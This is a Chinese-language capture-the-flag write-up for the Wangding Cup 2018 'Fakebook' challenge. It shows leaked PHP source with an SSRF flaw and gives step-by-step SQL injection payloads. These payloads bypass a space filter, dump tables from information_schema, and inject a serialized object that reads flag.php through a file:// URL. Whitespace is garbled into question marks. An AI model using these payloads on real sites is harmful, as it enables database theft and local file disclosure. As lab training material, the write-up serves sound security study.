[網鼎杯 2018]Fakebook
?打開環境出現一個登錄注冊的頁面????????
在登錄和注冊中發現 了地址欄出現變化,掃一波看看
?
看看robots.txt和flag.php??? 訪問robots.txt看看
再訪問user.php.bak
<?php
class UserInfo
{
??? public $name = "";
??? public $age = 0;
??? public $blog = "";??? public function __construct($name, $age, $blog)
??? {
??????? $this->name = $name;
??????? $this->age = (int)$age;
??????? $this->blog = $blog;
??? }??? function get($url)
??? {
??????? $ch = curl_init();??????? curl_setopt($ch, CURLOPT_URL, $url);
??????? curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
??????? $output = curl_exec($ch);
??????? $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
??????? if($httpCode == 404) {
??????????? return 404;
??????? }
??????? curl_close($ch);??????? return $output;
??? }??? public function getBlogContents ()
??? {
??????? return $this->get($this->blog);
??? }??? public function isValidBlog ()
??? {
??????? $blog = $this->blog;
??????? return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
??? }}
?想起來剛剛有一個注冊的,先注冊一個看看
填的時候可以隨便復制一篇內容過去看看,這樣才能進行注冊
并且發現一個注入點,嘗試一下簡單的注入
order by 4#???? 頁面回顯正常
order by 5#???? 頁面回顯不正常
說明有四個字段
union查看顯位
?no=1 union select 1,2,3,4#????????????????? no hack ~_~
?no=1 ununionion seselectlect database();??? no
?no=1 uNion sElEct database();?????????????? no
?no=1 union/**/select 1,2,3,4#?????????????? yes
?no=0 union/**/select 1,database(),3,4#????? yes
?
測試中發現過濾了空格
回顯的位置是2
庫表字段內容
爆庫:?no=-1 union/**/select 1,database(),3,4#
報表:?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()#
爆字段:?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' #
爆data值:?no=-1 union/**/select 1,group_concat(data),3,4 from users #
?
以為會出現內容,但是發現沒有結果,得到了一串序列化的字符串
剛剛的提到的.bak文件,這個應該會和剛剛的有關
發現在get方法中,curl_exec()如果使用不當就會導致ssrf漏洞
有一個UserInfo的類,類中有三個公共的類變量:name,age,blog。一個構造方法,一個get方法。主要的工作應該是建立會話,然后判斷是否是有效的請求,如果不是則返回404,如果不是則返回url的內容,一個getBlogContents方法,返回一個url的內容。
可以用file協議利用ssrf漏洞讀取文件,再通過序列化去讀取flag.php
?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:20;s:4:"blog";s:83:"file:///var/www/html/flag.php";}'#
出現view.php
?
?
?